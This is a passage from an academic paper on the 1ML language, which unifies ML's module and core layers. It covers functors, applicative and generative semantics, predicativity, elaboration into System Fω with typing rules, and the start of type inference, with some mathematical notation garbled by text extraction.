which shows that record types are seemingly “dependent”: like for
terms, earlier components are in scope for later components – the
key insight of the F-ing approach is that this dependency is benign,
however, and can be translated away, as we will see in Section 3.

Similarly, MAP defines a signature with abstract key and map
types. Note how type parameters on the left-hand side conve-
niently and uniformly generalise to value declarations, avoid-
ing the need for brittle implicit scoping rules like in conven-
tional ML: as shown in Figure 1, “empty a : map a” abbreviates
“empty : (a : type) ⇒ map a”, in a generalisation of the syntax
for type specifications introduced earlier, where “type t a” desug-
ars into “t a : type” and then “t : (a : type) ⇒ type”.

The Map function is a functor: it takes a value of type EQ,
i.e., a module. From that it constructs a naive implementation of
maps. “X:>T ” is the usual sealing operator that opaquely ascribes
a type (i.e., signature) to a value (a.k.a. module). The type refine-
ment syntax “T where (type .X=T )” should be familiar from
ML, but here it actually is derived from a more general construct:
“T where (.X:U)” refines T ’s subcomponent at path .X to type
U , which can be any subtype of what’s declared by T . That form
subsumes module sharing as well as other forms of refinement.

Applicative vs. Generative In this paper, we stick to a relatively
simple semantics for functor-like functions, in which Map is gener-
ative [28, 4, 25]. That is, like in Standard ML, each application will
yield a fresh map ADT, because sealing occurs inside the functor:

M1 = Map IntEq;
M2 = Map IntEq;
m = M1.add int 7 M2.empty (* ill-typed: M1.map 6= M2.map *)

But as we saw earlier, type constructors like pair or map are
essentially functors, too! Sealing the body of the Map functor
hence implies higher-order sealing of the nested map “functor”, as
if performing map :> type ⇒ type. It is vital that the resulting
functor has applicative semantics [15, 25], so that
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type map a = M1.map a;
type t = map int;
type u = map int

yields t = u, as one would expect from a proper type constructor.
We hence need applicative functors as well. To keep things sim-

ple, we restrict ourselves to the simplest possible semantics in this
paper, in which we distinguish between pure (⇒, i.e. applicative)
and impure (→, i.e. generative) function types, but sealing is al-
ways impure (or strong [6]). That is, sealing inside a functor always
makes it generative. The only way to produce an applicative functor
is by sealing a (fully transparent) functor as a whole, with applica-
tive functor type, as for the map type constructor above. Given:

F = (fun (a : type) ⇒ type {x : a}) :> type ⇒ type
G = (fun (a : type) ⇒ type {x : a}) :> type → type
H = fun (a : type) ⇒ (type {x : a} :> type)
J = G :> type⇒ type (* ill-typed! *)

F is an applicative functor, such that F int = F int. G and H on the
other hand are generative functors; the former because it is sealed
with impure function type, the latter because sealing occurs inside
its body. Consequently, G int or H int are impure expressions and
invalid as type paths (though it is fine to bind their result to a name,
e.g., “type w = G int”, and use the constant w as a type). Lastly,
J is ill-typed, because applicative functor types are subtypes of
generative ones, but not the other way round.

This semantics for applicative functors (which is very similar to
the applicative functors of Shao [30]) is somewhat limited, but just
enough to encode sealing over type constructors and hence recover
the ability to express type definitions as in conventional ML. An
extension of 1ML to applicative functors with pure sealing à la F-
ing modules [25] is given in the Technical Appendix [23].

The purity distinction would naturally extend to other relevant
effects, such as state. For example, the assignment operator :=
would need to be typed as impure (because there is no sound
elaboration for it otherwise), while other operators, such as +,
could be pure. However, we do not explore that space further here,
and conservatively treat all “core-like” functions as impure for now.

Higher Polymorphism So far, we have only shown how 1ML
recovers constructs well-known from ML. As a first example of
something that cannot directly be expressed in conventional ML,
consider first-class polymorphic arguments:

f (id : (a : type) ⇒ a → a) = {x = id int 5; y = id bool true}

Similarly, existential types are directly expressible:

type SHAPE = {type t; area : t → float; v : t}
volume (height : int) (x : SHAPE) = height * x.area (x.v)

SHAPE can either be read as a module signature or an existential
type, both are indistinguishable. The function volume is agnostic
about the actual type of the shape it is given.

It turns out that the previous examples can still be expressed
with packaged modules (Section 1.1). But now consider:

type COLL c =
{
type key;
type val;
empty : c;
add : c → key → val → c;
lookup : c → key → opt val;
keys : c → list key
};
entries c (C : COLL c) (xs : c) : list (C.key × C.val) = ...

COLL amounts to a parameterised signature, and is akin to a
Haskell-style type class [34]. It contains two abstract type spec-
ifications, which are known as associated types in the type class

literature (or in C++ land). The function entries is parameterised
over a corresponding module C – an (explicit) type class instance
if you want. Its result type depends directly on C’s definition of the
associated types. Such a dependency can be expressed in ML on
the module level, but not at the core level.2

Moving to higher kinds, things become even more interesting:

type MONAD (m : type ⇒ type) =
{

return a : a → m a;
bind a b : m a → (a → m b) → m b
};
map a b (m : type⇒ type) (M : MONAD m) (f : a→ b) (mx : m a) =

M.bind a b mx (fun (x : a) ⇒ M.return b (f x)) (* : m b *)

Here, MONAD is again akin to a type class, but over a type
constructor. As explained in Section 1.1, this kind of polymorphism
cannot be expressed even in MLs with packaged modules.

Computed Modules Just for completeness, we should mention
that the motivating example from Section 1 can of course be written
(almost) as is in 1MLex:

Table = if size > threshold then HashMap else TreeMap : MAP

The only minor nuisance is the need to annotate the type of the
conditional. As explained earlier, the annotation is necessary in
general to achieve unique types, but can usually be inferred once
we add inference to the mix (Section 4).

Predicativity What is the restriction we employ to maintain de-
cidability? It is simple: during subtyping (a.k.a. signature match-
ing) the type type can only be matched by small types, which
are those that do not themselves contain the type type; or in other
words, monomorphic types. Small types thus exclude first-class ab-
stract types, actual functors (functions taking type parameters), and
type constructors (which are just functors). For example, all of the
following define large types:
type T1 = type;
type T2 = {type u};
type T3 = {type u = T2};

type T4 = (x : {}) → type;
type T5 = (a : type) ⇒ {};
type T6 = {type u a = bool};

None of these are expressible as type expressions in conventional
ML, and vice versa, all ML type expressions materialise as small
types in 1ML, so nothing is lost in comparison.

The restriction on subtyping affects annotations, parameterisa-
tion over types, and the formation of abstract types. For example,
for all of the above Ti, all of the following definitions are ill-typed:

type U = pair Ti Ti; (* error *)
A = (type Ti) : type; (* error *)
B = {type u = Ti} :> {type u}; (* error *)
C = if b then Ti else int : type (* error *)

Notably, the case A with T1 literally implies type type 6 : type
(although type type itself is a well-formed expression!). The main
challenge with first-class modules is preventing such a type:type
situation, and the separation into a small universe (denoted by
type) and a large one (for which no syntax exists) achieves that.

A transparent type is small as long as it reveals a small type:

type T′1 = (= type int);
type T′2 = {type u = int}

would not cause an error when inserted into the above definitions.

2 In OCaml 4, this example can be approximated with heavy fibration:

module type COLL = sig type coll type key type val ... end
let entries (type c) (type k) (type v)

(module C : COLL with
type coll = c and type key = k and type value = v)

(xs : c) : (k * v) list = ...
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Recursion The 1MLex syntax we give in Figure 1 omits a couple
of constructs that one can rightfully expect from any serious ML
contender: in particular, there is no form of recursion, neither for
terms nor for types. It turns out that those are largely orthogonal to
the overall design of 1ML, so we only sketch them here.

ML-style recursive functions can be added simply by throwing
in a primitive polymorphic fixpoint operator

fix a b : (a → b) → (a → b)

plus perhaps some suitable syntactic sugar:

recX Y (Z:T ) :U=E :=
X = funY ⇒ fixT U (fun(X:(Z:T )→T ′)⇒ fun(Z:T )⇒ E)

Given an appropriate fixpoint operator, this generalises to mutually
recursive functions in the usual ways. Note how the need to specify
the result type b (respectively, U ) prevents using the operator to
construct transparent recursive types, because U has no way of
referring to the result of the fixpoint. Moreover, fix yields an impure
function, so even an attempt to define an abstract type recursively,

rec stream (a : type) : type = type {head : a; tail : stream a}

won’t type-check, because stream wouldn’t be an applicative func-
tor, and so the term stream a on the right-hand side is not a valid
type — fortunately, because there would be no way to translate such
a definition into System Fω with a conventional fixpoint operator.

Recursive (data)types have to be added separately. One ap-
proach, that has been used by Harper & Stone’s type-theoretic ac-
count of Standard ML [13], is to interpret a recursive datatype like

datatype t = A | B of T

as a module defining a primitive ADT with the signature

{type t; A : t; B : T ⇒ t; expose a : ({} → a)⇒ (T → a)⇒ t→ a}

where expose is a case-operator accessed by pattern matching
compilation. We refer to [13] for more details on this approach.
There is one caveat, though: datatypes expressed as ADTs require
sealing. With the simple system presented in this paper, they hence
could not be defined inside applicative functors. However, this
limitation is removed by the aforementioned generalisation to pure
sealing described in the Technical Appendix [23].

Impredicativity Reloaded Predicativity is a severe restriction.
Can we enable impredicative type abstraction without breaking de-
cidability? Yes we can. One possibility is the usual trick of piggy-
backing datatypes: we can allow their data constructors to have
large parameters. Because datatypes are nominal in ML, impred-
icativity is “hidden away” and does not interfere with subtyping.

Structural impredicative types are also possible, as long as large
types are injected into the small universe explicitly, by way of
a special type, say, “wrapT ”. The gist of this approach is that
subtyping does not extend to such wrapped types. It is an easy
extension, the Technical Appendix [23] gives the details.

3. Type System and Elaboration
So much for leisure, now for work. The general recipe for 1MLex

is simple: take the semantics from F-ing modules [25], collapse the
levels of modules and core, and impose the predicativity restriction
needed to maintain decidability. This requires surprisingly few
changes to the whole system. Unfortunately, space does not permit
explaining all of the F-ing semantics in detail, so we encourage the
reader to refer to [25] (mostly Section 4) for background, and will
focus primarily on the differences and novelties in what follows.

3.1 Internal Language
System Fω The semantics is defined by elaborating 1MLex types
and terms into types and terms of (call-by-value, impredicative)

(kinds) κ ::= Ω | κ→ κ
(types) τ ::= α | τ → τ | {l:τ} | ∀α:κ.τ | ∃α:κ.τ |

λα:κ.τ | τ τ
(terms) e, f ::= x | λx:τ.e | e e | {l=e} | e.l | λα:κ.e | e τ |

pack 〈τ, e〉τ | unpack 〈α, x〉=e in e

(environ’s) Γ ::= · | Γ, α:κ | Γ, x:τ

Figure 2. Syntax of Fω

(abstracted) Ξ ::= ∃α.Σ
(large) Σ ::= π | bool | [= Ξ] | {l:Σ} | ∀α.Σ→ι Ξ
(small) σ ::= π | bool | [= σ] | {l:σ} | σ →I σ
(paths) π ::= α | π σ
(purity) ι ::= P | I

Desugarings into Fω:

(types)
[= τ ] := {typ : τ → {}}
τ1 →l τ2 := τ1 → {l : τ2}

(terms)
[τ ] := {typ = λx:τ.{}}
λlx:τ.e := λx:τ.{l : e}

Notation: ι ≤ ι ι∨ ι := ι ι(Σ) = P
P ≤ I P∨ I := I ∨ P := I ι(∃αα.Σ) = I

τ .l := τ

{l:τ, ...}.l := τ.l
′

τ [.l=τ2] := τ2
{l:τ, ...}[.l=τ2] := {l:τ [.l

′
=τ2], ...}

(l = ε)

(l = l.l
′
)

Figure 3. Semantic Types

System Fω , the higher-order polymorphic λ-calculus [1], extended
with simple record types (Figure 2). The semantics is completely
standard; we omit it here and reuse the formulation from [25]. The
only point of note is that it allows term (but not type) variables in
the environment Γ to be shadowed without α-renaming, which is
convenient for translating bindings.

We write Γ ` e : τ for the Fω typing judgement, and let e ↪→ e′

denote (one-step) reduction. Then System Fω is well-known to
enjoy the standard soundness properties:

THEOREM 3.1 (Preservation).
If · ` e : τ and e ↪→ e′, then · ` e′ : τ .

THEOREM 3.2 (Progress).
If · ` e : τ and e is not a value, then e ↪→ e′ for some e′.

To establish soundness of 1ML it suffices to ensure that elaboration
always produces well-typed Fω terms (Section 3.3).

We assume obvious encodings of let-expressions and n-ary
universal and existential types in Fω . To ease notation we often
drop type annotations from let, pack, and unpack where clear from
context. We will also omit kind annotations on type variables, and
where necessary, use the notation κα to refer to the kind implicitly
associated with α.

Semantic Types Elaboration translates 1MLex types directly into
“equivalent” System Fω types. The shape of these semantic types
is given by the grammar in Figure 3.

The main magic of the elaboration is that it inserts appro-
priate quantifiers to bind abstract types. Following Mitchell &
Plotkin [20], abstract types are represented by existentials: an ab-
stracted type Ξ = ∃α.Σ quantifies over all the abstract types (i.e.,
components of type type) from the underlying concretised type
Σ, by naming them α. Inside Σ they can hence be represented as
transparent types, equal to those α’s.
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A sketch of the mapping between syntactic types T and seman-
tic types Ξ is as follows:

T  ∃α.Σ
(= type T1)  [= ∃α1.Σ1]

type  ∃α.[= α]
{X1:T1;X2:T2}  ∃α1α2.{X1:Σ1, X2:Σ2}

(X:T1) → T2  ∀α1.Σ1 →I ∃α2.Σ2

(X:T1) ⇒ T2  ∃α2.∀α1.Σ1 →P Σ2

A.t  αA.t

F(M)  αF( ) σM

Here, we assume that each constituent type Ti on the left-hand side
is recursively mapped to a corresponding ∃αi.Σi appearing on the
right-hand side.

Walking through these in turn, (transparent) reified types are
represented as [= Ξ], which is expressed in System F using a
simple coding trick [25] – cf. the desugaring of [= τ ] and [τ ]
given in Figure 3, assuming a reserved label “typ”. Because all
type constructors are represented as functors, we have no need for
reified types of higher kind (as was the case in [25]).

With all abstract types being named, they always appear as
transparent types [= α] as well, albeit quantified as necessary.

Records, no surprise, map to records. We assume an implicit in-
jection from 1ML identifiers X into both Fω variables x and labels
l, so we can conveniently treat any X as a variable or label. The
abstract type names from all record components (here, the α1 from
T1 and the α2 from T2) are collectively hoisted outside the record;
within, the components all have concretised types, respectively. In
particular, this makes α1 scope over Σ2, thereby allowing possible
dependencies of T2 on (abstract types from) T1 without requiring
actual dependent types.

Function types map to polymorphic functions in Fω . Being in
negative position, the existential quantifier for the abstract types
α1 from the parameter type Σ1 turns into a universal quantifier,
scoping over the whole type, and allowing the result type Σ2 to
refer to the parameter types. Like for records, this hoisting avoids
the need for dependent types. Functions are also annotated by a
simple effect ι, which distinguishes impure (→) from pure (⇒)
function types, and thus, generative from applicative functors.

Pure function types encode applicative semantics for the ab-
stract types they return by having their existential quantifiers α2

“lifted” over their parameters. To capture potential dependencies,
the α2 are skolemised over α1 [2, 28, 25]. That is, the kinds of α2

are of the form κα1 → κ for pure functors, which is where higher
kinds come into play. We impose the syntactic invariant that a pure
function type never has an existential quantifier right of the arrow.

Abstract types are denoted by their type variables – e.g. some
αA.t introduced for A.t – but may generally take the form of a se-
mantic path π if they have parameters. Parameters are (only) in-
troduced through pure function abstraction and the aforementioned
kind lifting that goes along with it. An abstract type that is the re-
sult of an application of a pure function (applicative functor, or type
constructor) F to a value (module) M becomes the application of a
higher-kinded type variable representing the constructor to the con-
crete types σM from the argument, corresponding to the abstract
types α1 in F’s parameter. Because we enforce predicativity, these
argument types have to be small. For example, the type constructor
map (Section 2) has semantic type ∀α.[= α] →P [= αmap(α)],
and the application map int translates to αmap(int).

The latter forms can appear in arbitrary combination: for in-
stance, an abstract type projected from a functor application,
G(M).t, would map to αG( ).t σM accordingly.

Figure 3 also defines the subgrammar of small types, which can-
not have quantifiers in them. Moreover, small functions are required
to be impure, which will simplify type inference (Section 5).

3.2 Elaboration
The complete elaboration rules for 1MLex are collected in Figure 4.
There is one judgement for each syntactic class, plus an auxiliary
judgement for subtyping. If you are merely interested in typing
1ML then you can ignore the greyed out parts “ e” in the rules
– they are concerned with the translation of terms, and are only
relevant to define the operational semantics of the language.

Types and Declarations The main job of the elaboration rules for
types is to name all abstract type components with type variables,
collect them, and bind them hoisted to an outermost existential (or
universal, in the case of functions) quantifier. The rules are mostly
identical to [25], except that type is a free-standing construct in-
stead of being tied to the syntax of bindings, and 1ML’s “where”
construct requires a slightly more general rule.

Rule TSING corresponds to rule S-LIKE in [25] and handles
”singleton” types. It simply infers the (unique) type Σ of the ex-
pression E. Note that this type is not allowed to have existential
quantifiers, i.e., E may not introduce local abstract types. All types
[= Ξ] occurring in Σ thus are transparent. As explained below, we
dropped the side condition for Σ to be explicit in this rule.

Expressions and Bindings The elaboration of expressions closely
follows the rules from the first part of [25], but adds the tracking of
purity as in Section 7 of that paper. However, to keep the current
paper simple, we left out the ability to perform pure sealing, or to
create pure functions around it. That avoids some of the notational
contortions necessary for the applicative functor semantics from
[25]. An extension of 1MLex with pure sealing can be found in the
Technical Appendix [23].

The only other non-editorial changes over [25] are that “type
T ” is now handled as a first-class value, no longer tied to bindings,
and that Booleans have been added as representatives of the core.

The rules collect all abstract types generated by an expression
(e.g. by sealing or by functor application) into an existential pack-
age. This requires repeated unpacking and repacking of existentials
created by constituent expressions. Moreover, the sequencing rule
BSEQ combines two (n-ary) existentials into one.

It is an invariant of the expression elaboration judgement that
ι = I if Ξ is not a concrete type Σ – i.e., abstract type “generation”
is impure. Without this invariant, rule EFUN might form an invalid
function type that is marked pure but yet has an inner existential
quantifier (i.e., is “generative”). To maintain the invariant, both
sealing (rule ESEAL) and conditionals (rule EIF) have to be deemed
impure if they generate abstract types – enforced by the notation
ι(Ξ) defined in Figure 3. In that sense, our notion of purity actually
corresponds to the stronger property of valuability in the parlance
of Dreyer [4], which also implies phase separation, i.e., the ability
to separate static type information from dynamic computation, key
to avoiding the need for dependent types.

Subtyping The subtyping judgement is defined on semantic
types. It generates a coercion function f as computational evidence
of the subtyping relation. The domain of that function always is the
left-hand type Ξ′; to avoid clutter, we omit its explicit annotation
from the λ-terms produced by the rules. The rules mostly follow
the structure from [25], merely adding a straightforward rule for
abstract type paths π, which now may occur as “module types”.

However, we make one structural change: instead of guess-
ing the substitution for the right-hand side’s abstract types non-
deterministically in a separate rule (rule U-MATCH in [25]), the
current formulation looks them up algorithmically as it goes, using
the new rule SFORGET to match an individual abstract type. The
reason for this change is merely a technical one: it eliminates the
need for any significant meta-theory about decidability, which was
somewhat non-trivial before, at least with applicative functors.
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Types Γ ` T  Ξ
Γ ` E :P [= Ξ] e

Γ ` E  Ξ
TPATH

κα = Ω

Γ ` type ∃α.[= α]
TTYPE

Γ ` bool bool
TBOOL

Γ ` D  Ξ

Γ ` {D} Ξ
TSTR

Γ ` T1  ∃α1.Σ1

Γ, α1, X:Σ1 ` T2  ∃α2.Σ2

Γ ` (X:T1)→T2  ∀α1.Σ1 →I ∃α2.Σ2
TFUN

Γ ` T1  ∃α1.Σ1

Γ, α1, X:Σ1 ` T2  ∃α2.Σ2 κα′
2

= κα1→ κα2

Γ ` (X:T1)⇒T2  ∃α′2.∀α1.Σ1 →P Σ2[α′2 α1/α2]
TPFUN

Γ ` E :P Σ e

Γ ` (=E) Σ
TSING

Γ ` T1  ∃α1.Σ1 α1 = α11 ] α12

Γ ` T2  ∃α2.Σ2 Γ, α11, α2 ` Σ2 ≤α12 Σ1.X  δ; f

Γ ` T1 where (.X:T2) ∃α11α2.δΣ1[.X=Σ2]
TWHERE

Declarations Γ ` D  ΞΓ ` T  ∃α.Σ
Γ ` X:T  ∃α.{X:Σ}DVAR

Γ ` T  ∃α.{X:Σ}
Γ ` include T  ∃α.{X:Σ}

DINCL

Γ ` D1  ∃α1.{X1:Σ1}
Γ, α1, X1:Σ1 ` D2  ∃α2.{X2:Σ2} X1 ∩X2 = ∅

Γ ` D1;D2  ∃α1α2.{X1:Σ1, X2:Σ2}
DSEQ

Γ ` ε {}DEMPTY

Expressions Γ ` E :ι Ξ eΓ(X) = Σ

Γ ` X :P Σ X
EVAR

Γ ` T  Ξ

Γ ` type T :P [= Ξ] [Ξ]
ETYPE

Γ ` true :P bool true
ETRUE

Γ ` false :P bool false
EFALSE

Γ ` X :P bool e Γ ` E1 :ι1 Ξ1  e1 Γ ` Ξ1 ≤ Ξ f1

Γ ` T  Ξ Γ ` E2 :ι2 Ξ2  e2 Γ ` Ξ2 ≤ Ξ f2

Γ ` if X then E1 else E2 :T :ι1∨ι2∨ι(Ξ) Ξ if e then f1 e1 else f2 e2
EIF

Γ ` B :ι Ξ e

Γ ` {B} :ι Ξ e
ESTR

Γ ` E :ι ∃α.{X ′:Σ′} e X:Σ ∈ X ′:Σ′
Γ ` E.X :ι ∃α.Σ unpack 〈α, y〉 = e in pack 〈α, y.X〉EDOT

Γ ` T  ∃α.Σ Γ, α,X:Σ ` E :ι Ξ e

Γ ` fun (X:T )⇒E :P ∀α.Σ→ι Ξ λα.λιX:Σ.e
EFUN

Γ ` X1 :P ∀α.Σ1 →ι Ξ e1

Γ ` X2 :P Σ2  e2 Γ ` Σ2 ≤α Σ1  δ; f

Γ ` X1 X2 :ι δΞ (e1 (δα) (f e2)).ι
EAPP

Γ ` X :P Σ1  e Γ ` T  ∃α.Σ2 Γ ` Σ1 ≤α Σ2  δ; f

Γ ` X:>T :ι(∃α.Σ2) ∃α.Σ2  pack 〈δα, f e〉 ESEAL

Bindings Γ ` B :ι Ξ e

Γ ` E :ι ∃α.Σ e

Γ ` X=E :ι ∃α.{X:Σ} unpack 〈α, x〉 = e in pack 〈α, {X=x}〉BVAR
Γ ` E :ι ∃α.{X:Σ} e

Γ ` include E :ι ∃α.{X:Σ} e
BINCL

Γ ` B1 :ι1 ∃α1.{X1:Σ1} e1 X
′
1 = X1 −X2

Γ, α1, X1:Σ1 ` B2 :ι2 ∃α2.{X2:Σ2} e2 X ′1:Σ′1 ⊆ X1:Σ1

Γ ` B1;B2 :ι1∨ι2 ∃α1α2.{X ′1:Σ′1, X2:Σ2} unpack 〈α1, y1〉 = e1 in let X1 = y1.X1 in
unpack 〈α2, y2〉 = e2 in
pack 〈α1α2, {X ′1 = y1.X ′1, X2 = y2.X2}〉

BSEQ
Γ ` ε :P {} {}

BEMPTY

Subtyping Γ ` Ξ′ ≤π Ξ δ; fΓ ` Ξ ≤ Ξ′  f := Γ ` Ξ ≤ε Ξ′  id; f

Γ ` π ≤ π  λx.x
SPATH

Γ ` bool ≤ bool λx.x
SBOOL

Γ ` Ξ′ ≤ Ξ f Γ ` Ξ ≤ Ξ′  f ′

Γ ` [= Ξ′] ≤ [= Ξ] λx.[Ξ]
STYPE

π = αα′

Γ ` [= σ] ≤π [= π] [λα′.σ/α];λx.x
SFORGET

Γ ` {l:Σ′} ≤ {} λx.{}
SEMPTY

Γ ` Σ′1 ≤π1 Σ1  δ1; f1

Γ ` {l′:Σ′} ≤π2 {l: δ1Σ} δ2; f2 δ2Σ1 = Σ1

Γ ` {l1:Σ′1, l′:Σ′} ≤π1π2 {l1:Σ1, l:Σ} δ1δ2;λx.{l1=f1(x.l1), l=(f2 x).l}
SSTR

Γ, α ` Σ ≤α′ Σ′  δ1; f1 ι′ ≤ ι
Γ, α ` δ1Ξ′ ≤πα Ξ δ2; f2 δ2Σ = Σ

Γ ` (∀α′.Σ′ →ι′ Ξ′) ≤π (∀α.Σ→ι Ξ)
 δ2;λx. λα. λιy:Σ. f2 ((x (δ1α

′) (f1 y)).ι′)

SFUN
Γ, α′ ` Σ′ ≤α Σ δ; f α′α 6= ε

Γ ` ∃α′.Σ′ ≤ ∃α.Σ λx. unpack 〈α′, y〉 = x in pack 〈δα, f y〉
SABS

Figure 4. Elaboration of 1MLex
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To this end, the judgement is indexed by a vector π of abstract
paths that correspond to the abstract types from the right-hand Ξ.
The counterparts of those types have to be looked up in the left-
hand Ξ′, which happens one at a time in rule SFORGET. And
that’s where the predicativity restriction materialises: the rule only
allows a small type on the left. Lookup produces a substitution
δ whose domain corresponds to the root variables of the abstract
paths π. Normally, each of π is just a plain abstract type variable
(which occur free in Ξ in this judgement). But in the formation
rule TPFUN for pure function types, lifting produces more complex
paths. So when subtyping goes inside a pure functor in rule SFUN,
the same abstract paths with skolem parameters have to be formed
for lookup, so that rule SFORGET can match them accordingly.

The move to deterministic subtyping allows us to drop the aux-
iliary notion of explicit types, which was present in [25] to ensure
that non-deterministic lookup can be made deterministic. There
is one side effect from dropping the “explicitness” side condition
from rule TSING, though: subtyping is no longer reflexive. There
are now “monster” types that cannot be matched, not even by them-
selves. For example, take {}→I ∃α.α, which is created by

(= (fun (x : {}) ⇒ ({type t = int; v = 0} :> {type t; v : t}).v))

and is not a subtype of itself (it only contains a use of the abstract
type α, no “binding” of the form [= α]; consequently, when recur-
sively matching ∃α′.α′ ≤ ∃α.α, rule SFORGET is never invoked
to introduce the necessary substitution [α′/α] of α by (the renamed
version of) itself). However, this does not break anything else, so
we make that simplification anyway – if desired, explicitness could
easily be revived.

3.3 Meta-Theory
It is relatively straightforward to verify that elaboration is correct:

PROPOSITION 3.3 (Correctness of 1MLex Elaboration).
Let Γ be a well-formed Fω environment.

1. If Γ ` T/D  Ξ, then Γ ` Ξ : Ω.
2. If Γ ` E/B :ι Ξ e, then Γ ` e : Ξ, and if ι=P then Ξ=Σ.
3. If Γ ` Ξ′ ≤αα′ Ξ  δ; f and Γ ` Ξ′ : Ω and Γ, α ` Ξ : Ω,

then dom(δ) = α and Γ ` δ : Γ, α and Γ ` f : Ξ′ → δΞ.

Together with the standard soundness result for Fω we can tell
that 1MLex is sound, i.e., a well-typed 1MLex program will either
diverge or terminate with a value of the right type:

THEOREM 3.4 (Soundness of 1MLex). If · ` E : Ξ  e, then
either e ↑ or e ↪→∗ v such that · ` v : Ξ and v is a value.

More interestingly, the 1MLex type system is also decidable:

THEOREM 3.5 (Decidablity of 1MLex Elaboration).
All 1MLex elaboration judgements are decidable.

This is immediate for all but the subtyping judgement, since they
are syntax-directed and inductive, with no complicated side con-
ditions. The rules can be read directly as an inductive algorithm.
(In the case of where, it seems necessary to find a partitioning
α1 = α11]α12, but it is not hard to see that the subtyping premise
can only possibly succeed when picking α12 = fv(Σ1) ∩ α1.)

The only tricky judgement is subtyping. Although it is syntax-
directed as well, the rules are not actually inductive: some of their
premises apply a substitution δ to the inspected types. Alas, that is
exactly what can cause undecidability (see Section 1.2).

The restriction to substituting small types saves the day. We can
define a weight metric over semantic types such that a quantified
type variable has more weight than any possible substitution of
that variable with a small type. We can then show that the overall
weight of types involved decreases in all subtyping rules. For space
reasons, the details appear in the Technical Appendix [23].

4. Full 1ML
A language without type inference is not worth naming ML. Be-
cause that is so, Figure 5 shows the minimal extension to 1MLex

necessary to recover ML-style implicit polymorphism. Syntacti-
cally, there are merely two new forms of type expression.

First, “ ” stands for a type that is to be inferred from context.
The crucial restriction here is that this can only be a small type. This
fits nicely with the notion of a monotype in core ML, and prevents
the need to infer polymorphic types in an analogous manner.

On top of this new piece of kernel syntax we allow a type
annotation “: ” on a function parameter or conditional to be
omitted, thereby recovering the implicitly typed expression syntax
familiar from ML. (At the same time we drop the 1MLex sugar
interpreting an unannotated parameter as a type; we only keep that
interpretation in type declarations or bindings.)

Second, there is a new type of implicit function, distinguished
by a leading tick ’ (a choice that will become clear in a moment).
This corresponds to an ML-style polymorphic type. The parameter
has to be of type type, whose being small fits nicely with the fact
that ML can only abstract monotypes, and no type constructors. For
obvious reasons, an implicit function has to be pure. We write the
semantic type of implicit functions with an arrow→A, in order to
reuse notational convention. It is distinct from →ι, however, and
we do not consider A an actual effect; i.e., A is not included in ι.

As the name would suggest, there are no explicit introduction
or elimination forms for implicit functions. Instead, they are intro-
duced and eliminated implicitly. The respective typing rules (EGEN
and EINST) match common formulations of ML-style polymor-
phism [3]. Any pure expression can have its type generalised, which
is more liberal than ML’s value restriction [35] (recall that purity
also implies that no abstract types are produced).

Subtyping allows the implicit elimination of implicit functions
as well, via instantiation on the left, or skolemisation on the right
(rules SIMPLL and SIMPLR). This closely corresponds to ML’s
signature matching rules, which allow any value to be matched by a
value of more polymorphic type. However, this behaviour can now
be intermixed with proper “module” types. In particular, that means
that we allow looking up types from an implicit function, similar to
other pure functions. For example, the following subtyping holds,
by implicitly instantiating the parameter a with int:

’(a : type) ⇒ {type t = a; f : a → t} ≤ {type t; f : int → int}

With these few extensions, the Map functor from Section 2 can
now be written in 1ML very much like in traditional ML:

type MAP =
{
type key;
type map a;
empty ’a : map a;
lookup ’a : key → map a → opt a;
add ’a : key → a → map a → map a
};
Map (Key : EQ) :> MAP where (type .key = Key.t) =
{
type key = Key.t;
type map a = key → opt a;
empty = fun x ⇒ none;
lookup x m = m x;
add x y m = fun z ⇒ if Key.eq z x then some y else m z
}

The MAP signature here uses one last bit of syntactic sugar defined
in Figure 5, which is to allow implicit parameters on the left-hand
side of declarations, like we already do for explicit parameters (cf.
Figure 1), The tick becomes a pun on ML’s type variable syntax,
but without relying on brittle implicit scoping rules.
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Syntax

(types) T ::= . . . | | ’(X:type)⇒T

(expressions) if E1 then E2 else E3 := if E1 then E2 else E3:
funX⇒E := fun (X: )⇒E

(types) ’X ⇒ T := ’(X:type)⇒T

(declarations) X ’Y :T := X : ’(Y : type)⇒T
Semantic Types

(large signatures) Σ ::= . . . | ∀α.{} →A Σ

Types Γ ` T  ΞΓ ` σ : Ω

Γ `  σ
TINFER

Γ, α,X:[= α] ` T  Σ κα = Ω

Γ ` ’(X:type)⇒ T  ∀α.{} →A Σ
TIMPL

Expressions Γ ` E :ι Ξ e

Γ, α ` E :P Σ e κα = Ω

Γ ` E :P ∀α.{} →A Σ λα.λAx:{}.eEGEN
Γ ` E :ι ∃α.∀α′.{} →A Σ e Γ, α ` σ : κα′

Γ ` E :ι ∃α.Σ[σ/α′] unpack 〈α, x〉 = e in pack 〈α, (xσ {}).A〉EINST

Subtyping Γ ` Ξ′ ≤π Ξ δ; f

Γ ` σ : κα′ Γ ` Σ′[σ/α′] ≤π Σ δ; f

Γ ` ∀α′.{} →A Σ′ ≤π Σ δ;λx. f ((xσ {}).A)
SIMPLL

Γ, α ` Σ′ ≤π Σ δ; f fv(δπ) 6 ∩ α
Γ ` Σ′ ≤π ∀α.{} →A Σ δ;λx. λα.λAy:{}.f x

SIMPLR

Figure 5. Extension to Full 1ML

Space reasons forbid more extensive examples, but it should
be clear from the rules that there is nothing preventing the use of
implicit functions as first-class values, given sufficient annotations
for their (large) types. For example:

(fun (id : ’a ⇒ a → a) ⇒ {x = id 3; y = id true}) (fun x ⇒ x)

The type of the argument expression is generalised implicitly and
matches the implicitly polymorphic parameter via subtyping.

5. Type Inference
With the additions from Figure 5 we have turned the deterministic
typing and elaboration judgements of 1MLex non-deterministic.
They have to guess types (in rules TINFER, EINST, SIMPLL) and
quantifiers (in rule EGEN). Moreover, we have decide when to
apply rules EGEN and EINST. Clearly, an algorithm is needed.

Fortunately, what’s going on is not fundamentally different from
core ML. Where core ML would require type equivalence (and type
inference would use unification), the 1ML rules require subtyping.

That may seem scary at first, but a closer inspection of the
subtyping rules reveals that, when applied to small types, subtyping
almost degenerates to type equivalence! The only exception is
width subtyping on records. The 1ML type system only promises
to infer small types, so we are not far away from conventional ML.
That is, we can still formulate an algorithm based on inference
variables (which we write υ) holding place for small types.

5.1 Algorithm
Figure 6 shows the essence of this algorithm, formulated via in-
ference rules. The basic idea is to modify the declarative typing
rules such that wherever they have to guess a (small) type, we sim-
ply introduce a (free) inference variable. Furthermore, the rules are
augmented with outputting a substitution θ for resolved inference
variables: all judgements have the form Γ `θ J , which, roughly,
implies the respective declarative judgement υ, θΓ ` θJ , where υ
binds the unresolved inference variables that still appear free in θΓ
or θJ . Notation is simplified by abbreviations of the form

